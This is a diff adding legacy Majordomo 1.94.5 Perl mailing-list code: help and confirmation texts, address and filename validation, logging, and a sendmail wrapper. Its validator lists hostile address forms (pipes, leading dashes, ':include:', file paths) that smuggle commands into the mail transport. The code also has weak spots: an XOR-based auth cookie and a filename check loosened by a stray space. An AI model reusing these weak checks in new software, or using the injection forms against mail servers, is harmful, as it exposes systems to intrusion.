the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
    , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
    ] + Subscribe yourself (or
    if specified) to the named . + + unsubscribe $list4help [
    ] + Unsubscribe yourself (or
    if specified) from the named . + "unsubscribe *" will remove you (or
    ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
    ] + Find out which lists you (or
    if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! +**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl new file mode 100644 index 0000000..7c0fff0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl @@ -0,0 +1,828 @@ +# General subroutines for Majordomo + +# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $ +# $Revision: 1.58 $ +# $Date: 2000/01/07 12:32:04 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.58 2000/01/07 12:32:04 cwilson Exp $ +# + +# The exit codes for abort. Look in /usr/include/sysexits.h. +# +$EX_DATAERR = 65; +$EX_TEMPFAIL = 75; +$EX_NOUSER = 67; + +package Majordomo; + +$DEBUG = $main'DEBUG; + +# Mail header hacking routines for Majordomo +# +# Derived from: +# Routines to parse out an RFC 822 mailheader +# E. H. Spafford, last mod: 11/91 +# +# ParseMailHeader breaks out the header into an % array +# indexed by a lower-cased keyword, e.g. +# &ParseMailHeader(STDIN, *Array); +# use $Array{'subject'} +# +# Note that some duplicate lines (like "Received:") will get joined +# into a single entry in %Array; use @Array if you want them separate +# $Array will contain the unprocessed header, with embedded +# newlines +# @Array will contain the header, one line per entry +# +# RetMailAddr tries to pull out the "preferred" return address +# based on the presence or absence of various return-reply fields + + +# Call as &ParseMailHeader(FileHandle, *array) + +sub main'ParseMailHeader ## Public +{ + local($save1) = ($/); + local($FH, *array) = @_; + local ($keyw, $val); + + %array = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + $/ = ''; + $array = $_ = <$FH>; + s/\n\s+/ /gms; + + @array = split('\n'); + foreach $_ (@array) + { + ($keyw, $val) = m/^([^:]+):\s*(.*\S)\s*$/gms; + $keyw =~ y/A-Z/a-z/; + if (defined($array{$keyw})) { + $array{$keyw} .= ", $val"; + } else { + $array{$keyw} = $val; + } + } + $/ = $save1; +} + + +# Call as $addr = &RetMailAddr(*array) +# This assumes that the header is in RFC 822 format +# We used to strip the raw address from the header here, but the address is +# stripped again before it gets to the mailer and we may want to use the +# whole thing when we do a subscription. +sub main'RetMailAddr ## Public +{ + local(*array) = @_; + + local($ReplyTo) = defined($array{'reply-to'}) ? + $array{'reply-to'} : $array{'from'}; + + $ReplyTo = $array{'apparently-from'} unless $ReplyTo; + + $ReplyTo; +} + +# @addrs = &ParseAddrs($addr_list) +sub main'ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"\s//g; # strip comments" + my @x = split(/,/); # split into parts + foreach (@x) { + 1 while s/.*<(.*)>.*/$1/; + s/^\s+//; + s/\s+$//; + } + + @x; +} + +# Check to see if a list is valid. If it is, return the validated list +# name; if it's not, return "" +sub main'valid_list { + local($listdir) = shift; + # start with a space-separated list of the rest of the arguments + local($taint_list) = join(" ", @_); + # strip harmless matched leading and trailing angle brackets off the list + 1 while $taint_list =~ s/^<(.*)>$/$1/; + # strip harmless trailing "@.*" off the list + $taint_list =~ s/\@.*$//; + # anything else funny with $taint_list probably isn't harmless; let's check + # start with $clean_list the same as $taint_list + local($clean_list) = $taint_list; + # clean up $clean_list + $clean_list =~ s/[^-_0-9a-zA-Z]*//g; + # if $clean_list no longer equals $taint_list, something's wrong + if ($clean_list ne $taint_list) { + return ""; + } + # convert to all-lower-case + $clean_list =~ tr/A-Z/a-z/; + # check to see that $listdir/$clean_list exists + if (! -e "$listdir/$clean_list") { + return ""; + } + return $clean_list; +} + +# compare two email address to see if they "match" by converting to all +# lower case, then stripping off comments and comparing what's left. If +# a optional third argument is specified and it's not undefined, then +# partial matches (where the second argument is a substring of the first +# argument) should return true as well as exact matches. +# +# if optional third argument is 2, then compare the two addresses looking +# to see if the addresses are of the form user@dom.ain.com and user@ain.com +# if that is the format of the two addresses, then return true. +sub main'addr_match { + local($a1) = &main'chop_nl(shift); + local($a2) = &main'chop_nl(shift); + local($partial) = shift; # may be "undef" + + print STDERR "addr_match: enter\n" if $DEBUG; + print STDERR "addr_match: comparing $a1 against $a2\n" if $DEBUG; + + if ($partial == 1) { + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + if (index($a1, $a2) >= $[) { + return(1); + } else { + return(undef); + } + } + + local(@a1, @a2); + + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + + @a1 = &main'ParseAddrs($a1); + @a2 = &main'ParseAddrs($a2); + if (($#a1 != 0) || ($#a2 != 0)) { + # Can't match, because at least one of them has either zero or + # multiple addresses + return(undef); + } + + if ($partial == 2 && ($a1[0] ne $a2[0])) { # see if addresses are + # foo@baz.bax.edu, foo@bax.edu + local(@addr1,@addr2); + @addr1 = split(/\@/, $a1[0]); + @addr2 = split(/\@/, $a2[0]); + if ( $#addr1 == $#addr2 && $#addr1 == 1 && + $addr1[0] eq $addr2[0] && (index($addr1[1], $addr2[1]) >= $[)) + { + return(1); + } + } + + return($a1[0] eq $a2[0]); +} + +# These are package globals referenced by &setabortaddr and &abort + +$abort_addr = "owner-majordomo"; + +sub main'set_abort_addr { + $abort_addr = shift unless ($#_ < $[); +} + +# Abort the process, for the reason stated as the argument + +local($log_disabled); +local($logging_abort, $mailing_abort); + +sub main'abort { #' + # first, tell the requestor that something bad happened. + # XXX is this really meaningful for, say, resend? + if (-e main'REPLY) { + print main'REPLY <>> Sorry, an error has occurred while processing your request +>>> The caretaker of Majordomo ( $abort_addr ) has been notified +>>> of the problem. +END_MSG + close (main'REPLY); + } + + # print the reason for the abort to stderr; maybe someone will see it + print STDERR "$main'program_name: ABORT\n", join(" ", @_), "\n"; + + # log the reason for the abort, if possible. We don't log if the + # log is inaccessible, or if we're aborting trying to log that we're + # aborting. + unless ($log_disabled || $logging_abort) { + $logging_abort = join(" ", @_); + &main'log("ABORT", $logging_abort); + $logging_abort = ""; + } + else { + # Use previous message if we recursed + @_ = ($logging_abort) if $logging_abort; + } + + # send a message to the Majordomo owner, if possible. We don't mail + # if we're aborting trying to mail that we're aborting. + if (! $mailing_abort && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_abort = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(ABORT, $abort_addr, "MAJORDOMO ABORT ($main'program_name)");#' + print ABORT <<"EOM"; + +MAJORDOMO ABORT ($main'program_name)!! + +@_ + +EOM + close(ABORT); + } + + exit $EX_DATAERR; +} + +# bitch about a serious problem, but not fatal. + +local($logging_warning, $mailing_warning); + +sub main'bitch { + # print the warning to stderr in case all else fails + # maybe someone will see it + print STDERR "$main'program_name: WARNING\n", join(" ", @_), "\n"; + + # log the warning, if possible + unless ($log_disabled || $logging_warning) { + $logging_warning = 1; + &main'log("WARNING ", join(" ", @_), "\n"); #'; + $logging_warning = 0; + } + + # send a message to the Majordomo owner, if possible + if (! $mailing_warning && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_warning = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(WARN, $abort_addr, "MAJORDOMO WARNING ($main'program_name)");#'; + print WARN <<"EOM"; + +MAJORDOMO WARNING ($main'program_name)!! + +@_ + +EOM + close(WARN); + $mailing_warning = 0; + } +} + + + +# do a quick check of permissions. +# +sub main'check_permissions { + local($err); + if ( ! -w $log_file ) { + if ( ! -e $log_file ) { # log file may not exist, check dir perms. + local($dir); + ($dir) = $log_file =~ m@^(/\S+)/@; + if ( ! -w $dir ) { + $err .= "Unable to create log file in $dir, check permissions.\n"; # + } + } else { + $err .= "Unable to write to log file, check permissions on $log_file\n"; + } + } + + if ( ! -w $main'listdir ) { + $err .= "Unable to write to list directory \$listdir, check permissions on $main'listdir\n"; + } + + if (length $err) { + $err = "While running with an effective uid of $> and an effective gid of $), Majordomo\nran into the following problems:\n" . + $err; + $log_disabled = 1; + &main'abort($err);#'; + } +} + +# These are package globals referenced by &setlogfile and &log +$log_file = "/tmp/log.$$"; +$log_host = "UNKNOWN"; +$log_program = "UNKNOWN"; +$log_session = "UNKNOWN"; + +# set the log file +sub main'set_log { + $log_file = shift unless ($#_ < $[); + $log_host = shift unless ($#_ < $[); + $log_program = shift unless ($#_ < $[); + $log_session = shift unless ($#_ < $[); + +} + +# Log a message to the log +sub main'log { + + print STDERR "$0: main'log()\n" if $DEBUG; + + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime; + local(*MAILMSG); + + print STDERR "$0: main'log(): opening logfile $log_file\n" if $DEBUG; + + if (&main'lopen(LOG, ">>", $log_file)) { #'; + # if the log is open, write to the log + printf LOG "%s %02d %02d:%02d:%02d %s %s[%d] {%s} ", + $ctime'MoY[$mon], $mday, $hour, $min, $sec, + $log_host, $log_program, $$, $log_session; + print LOG join(" ", @_), "\n"; + &main'lclose(LOG); + } else { + + print STDERR "$0: main'log(): log not open, writing to STDERR and attempting to mail.\n" if $DEBUG; + + # otherwise, write to stderr + printf STDERR "%s[%d] {%s} ", $log_program, $$, $log_session; + print STDERR join(" ", @_), "\n"; + + # send a message to the Majordomo owner, if possible + if (defined($abort_addr)) { + &main'sendmail(MAILMSG, $abort_addr, # '( + "MAJORDOMO NOTICE: Can't open log"); + printf MAILMSG "%s[%d] {%s} ", $log_program, $$, $log_session; + print MAILMSG join(" ", @_), "\n"; + } + } + print STDERR "$0: main'log(): done\n" if $DEBUG; + +} + +# Globals referenced by &set_mail* and &sendmail +$mail_prog = "$sendmail_command -f\$sender -t"; +$mail_from = $whoami; +$mail_sender = $whoami_owner; + +# set the mailer +sub main'set_mailer { + $mail_prog = shift; +} + +# set the default from address +sub main'set_mail_from { + $mail_from = shift; +} + +# set the default sender address +sub main'set_mail_sender { + $mail_sender = shift; +} + +# Exec a mailer process +sub main'do_exec_sendmail { + &main'abort("do_exec_sendmail, number of args <= 1 unsafe to exec") + if scalar(@_) <= 1; + # It makes sense to check to see that the mailer is valid here, but the + # abort routine must make certain that recursion doesn't develop, + # because abort calls this routine. + &main'abort("$main'program_name: do_exec_sendmail, mailer $_[0] not executable") + unless (-x $_[0]); + exec(@_); + die("Failed to exec mailer \"@_\": $!"); +} + +# Open a mailer on the far end of a filehandle +sub main'sendmail { #'' + local($MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($from) = $mail_from; + local($sender) = $mail_sender; + # The following eval expands embedded variables like $sender + local($mail_cmd) = eval qq/"$mail_prog"/; + local($isParent); + if ($#_ >= $[) { $from = shift; } + if ($#_ >= $[) { $sender = shift; } + + # force unqualified filehandles into caller's package + local($package) = caller; + $MAIL =~ s/^[^':]+$/$package'$&/; + + # clean up the addresses, for use on the mailer command line + local(@to) = &main'ParseAddrs($to); + for (@to) { + $_ = join(", ", &main'ParseAddrs($_)); + } + $to = join(", ", @to); #'; + +print STDERR "$0: main'sendmail: To $to, Subject $subject, From $from\n" + if $DEBUG; +print STDERR "$0: main'sendmail: Sender $sender, mail_cmd = $mail_cmd\n" + if $DEBUG; + + # open the process + if (defined($isParent = open($MAIL, "|-"))) { + &main'do_exec_sendmail(split(' ', $mail_cmd)) + unless ($isParent); + } else { + &main'abort("Failed to fork prior to mailer exec"); + } + + # Generate the header. Note the line beginning with "-"; this keeps + # this message from being reprocessed by Majordomo if some misbegotten + # mailer out there bounces it back. + print $MAIL +"To: $to +From: $from +Subject: $subject +Reply-To: $from + +-- + +"; + + return; +} + +# check the password for a list +sub main'valid_passwd { + local($listdir, $list, $passwd) = @_; + + # is it a valid list? + local($clean_list) = &main'valid_list($listdir, $list); + if ($clean_list ne "") { + # it's a valid list check config passwd first + if (defined($main'config_opts{$clean_list,"admin_passwd"}) && + $passwd eq $main'config_opts{$clean_list,"admin_passwd"} ) + { return 1; } + + # read the password from the file in any case + if (&main'lopen(PASSWD, "", "$listdir/$clean_list.passwd")) { + local($file_passwd) = ; + &main'lclose(PASSWD); + $file_passwd = &main'chop_nl($file_passwd); + # got the password; now compare it to what the user sent + if ($passwd eq $file_passwd) { + return 1; + } else { + return 0; + } + } else { + return 0; + } + } else { + return 0; + } +} + +# Check to see that this is a valid address. +# A valid address is a single address with +# no "|" in the address part. It may not start with a - either. +# If it has a / in it, we use some heuristics to find out if the address +# may be a file. Some other heuristics attempt to look for a valid X.400 +# address. This is not infalible. +sub main'valid_addr { + local($addr, $list) = @_; + local(@addrs, $temp); + + # Parse the address out into parts + @addrs = &main'ParseAddrs($addr); + + # if there's not exactly 1 part, it's no good + # XXX Should inform the poor user of this fact. + if ($#addrs != 0) { + return undef; + } + + local($_) = $addrs[0]; + + # Deal with unbalanced brackets or parenthesis in an address. + $temp = $_; + + # Nuke anything within quotes. + 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g; + + # Remove nested parentheses " <- placate emacs' highlighting + 1 while $temp =~ s/\([^\(\)]*\)//g; + + # Remove nested angle brackets + 1 while $temp =~ s/\<[^\<\>]*\>//g; + + # remove nested square brackets + 1 while $temp =~ s/\[[^\[\]]*\]//g; + + # If any parentheses of brackets remain, they are unbalanced and the + # address is illegal. + if ($temp =~ /[\(\)\<\>\[\]]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have an +**** uneven number of parentheses or brackets. + +EOM + + } + &main'log("WARNING", "Unbalanced address: $_"); + return undef; + } + + if ($temp =~ /[,;:]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have +**** unquoted colons, commas, or semicolons. + +EOM + + } + &main'log("WARNING", "Illegal chars in address: $_"); + return undef; + } + + + # Deal with legal spaces in a stripped address, then check and reject + # any remaining space. Note that as I write this, the comment stripper + # ParseAddrs does not handle things like a quoted local part but I've + # included the correct routines just in case it ever does. + $temp = $_; + + # We assume that the comment stripper will have eaten leading and + # trailing space. + + # This mess turns "jason ti bb i tt s"@hpc.uh.edu into + # "jasontibbitts"@hpc.uh.edu + 1 while $temp =~ s/\"(.*)\s(.*)\"/\"$1$2\"/g; + + # This compresses space before dots or `@'s. " <- placate emacs' highlighting + 1 while $temp =~ s/\s(\.|@)/$1/g; + + # This compresses space after dots or `@'s. + 1 while $temp =~ s/(\.|@)\s/$1/g; + + # We've taken out all legitimate space from the address (yes, RFC822 + # permits that kind of bogosity), so if the address has spaces, we have + # a problem. + if ($temp =~ /\s/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** does not seem to be a legal Internet address. You may have supplied +**** your full name instead of your address, or you may have included your +**** name along with your address in a manner that does not comply with +**** Internet standards for addresses. +**** It is also possible that you are using a mailer that wraps long lines +**** and the end of your request ended up on the following line. If the +**** latter is true, try using backslashes to split long lines. (Split the +**** line between words, then put a backslash at the end of all but the +**** last line.) + +EOM + } + &main'log("WARNING", "Illegal space in address: $_"); + return undef; + } + + # Addresses must have both an @ and a . + if (!(/\@/ && /\./)) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** is not a complete address. When providing an address, you must give +**** the full name of the machine including the domain part (like +**** host.corp.com), not just your user name or your name and the short +**** name of the machine (just user or user\@host is not legal). + +EOM + } + &main'log("WARNING", "Non-domained address: $_"); + return undef; + } + + + # o if there's a "|" in it, it's hostile + # o if there is a - sign at the front of the address, it may be an attempt + # to pass a flag to the MTA + # o bail if they're attempting to subscribe the list to itself + # + + print STDERR "$0: valid_addr: comparing '$addr' to '$list'\n" if $DEBUG; + + # XXX Should at least tell the user that there was a problem. + if ( /\|/ || /^-/ ) { + &main'abort("HOSTILE ADDRESS (invalid first char or |) $addr"); #' + return undef; + } + + # Some sendmails are dumb enough to do bad things with this + if (/\:include\:/) { + &main'abort("HOSTILE ADDRESS (tried to use :include: syntax) $addr"); #' + return undef; + } + + if ( $addr eq $list ) { + &main'abort("HOSTILE ADDRESS (tried to subscribe list) $addr"); # ' + return undef; + } + + # if the is a / in it, it may be an attempt to write to a file. + # or it may be an X.400, HP Openmail or some other dain bramaged + # address 8-(. We check this by breaking the address on '/'s + # and checking to see if the first component of the address + # exists. If it does we bounce it as a hostile address. + + # XXX Again, we shouldn't be aborting without telling the user + if ( m#/# ) { + local(@components) = ($_ =~ /([\/\@]?[^\/\@]+)/g); + + &main'abort("HOSTILE ADDRESS (path exists to /file) $addr") + if (-e "/$components[0]"); #' + &main'abort("HOSTILE ADDRESS (path exists to file) $addr") + if (-e "$components[0]"); #' + + # then as an extra check that can be turned off in the majordomo.cf + # file we make sure that the last component of the address has an + # @ sign on it for an X.400->smtp gateway translation. + + if (!$main'no_x400at) { + &main'abort("HOSTILE ADDRESS (no x400 \@) $addr") if ( + "$components[$#components]" !~ /\@/); #' + } + + # check to see that the c= and a[dm]= parts exist + if (!$main'no_true_x400) { + &main'abort("HOSTILE ADDRESS (no x400 c=) $addr") + if ($_ !~ m#/c=#); #' + &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr") + if ($_ !~ m#/a[dm]=#); #' + } + } + +print STDERR "$0: valid_addr: exit\n" if $DEBUG; + + return $_; +} + +# is this a valid filename? +sub main'valid_filename { + local($directory) = shift; + local($list) = shift; + local($suffix) = shift; + local($taint_filename) = shift; + local($clean_filename); + + # Safety check the filename. + if ($taint_filename =~ /^[\/.]|\.\.|[^-_0-9a-zA-Z.\/] /) { + return undef; + } else { + $clean_filename = $taint_filename; + } + if (! -f "$directory/$list$suffix/$clean_filename") { + return undef; + } + return "$directory/$list$suffix/$clean_filename"; +} + +# Chop any trailing newlines off of a string, and return the string +sub main'chop_nl { + if ($#_ >= $[) { + local($x) = shift; + $x =~ s/\n+$//; + return($x); + } else { + return(undef); + } +} + +# Perform simple filename globbing, so we don't have to use the <...> glib +# syntax which has caused problems. +sub main'fileglob { + local($dir) = shift; + local($pat) = shift; + local(@files) = (); + + opendir(DIR, $dir) || return undef; + @files = grep(/$pat/, readdir(DIR)); + grep($_ = "$dir/$_", @files); # perl4 doesn't have map! + + closedir(DIR); + + return @files; +} + +sub main'is_list_member { + local($subscriber, $listdir, $clean_list, $file) = @_; + local($matches) = 0; + local(*LIST); + local($_); + + print STDERR "is_list_member: enter\n" if $DEBUG; + + $file = "$listdir/$file" if defined $file && $file !~ m|^/|; + $file = "$listdir/$clean_list" unless defined $file; + print STDERR "is_list_member: checking $file for $subscriber\n" + if $DEBUG; + if (open(LIST, $file)) { + while () { + if (&main'addr_match($subscriber, $_, + (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + $matches++; + last; + } + } + close(LIST); + } + else { + &main'bitch("Can't read $file: $!"); #'""; + } + + print STDERR "is_list_member: exit $matches\n" if $DEBUG; + + return($matches); +} + +# From: pdc@lunch.engr.sgi.com (Paul Close) +# > Shouldn't list and list-digest be equivalent for things like +# > retrieval of files? As it stands now, if I subscribe to +# > foo-list-digest and I want to retrieve a file for foo-list or list the +# > members of foo-list, and foo-list is a private list for these +# > purposes, then I'm out of luck. +# +# I agree. The approach I took for solving this was to add a function called +# private_okay() to use instead of list_member() in cases where you wanted to +# restrict function to members of the list or list-digest. +# +# If restrict_post is defined, private_okay searches those lists, otherwise +# it searches list and list-digest. Anywhere majordomo consults a private_* +# variable, I use private_okay instead of list_member. Works quite nicely. +# +# Added in access checking mechanisms as well to replace +# private_XYZ with some flexability. This will be exanded to be +# more flexible than the current [open|list|closed] capability. +# --Chan 96/04/23 +# +sub main'access_check { + local($cmd, $subscriber,$listdir,$clean_list) = @_; + local(@lists,$list,$altlist,$total); + + print STDERR "access_check: enter\n" if $DEBUG; + + # bail right away if the command is disabled. + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /closed/) {#' + print STDERR "access_check: ${cmd}_access is closed.\n" if $DEBUG; + return 0 ; + } + + # bail right away if the command is wide open + # + if 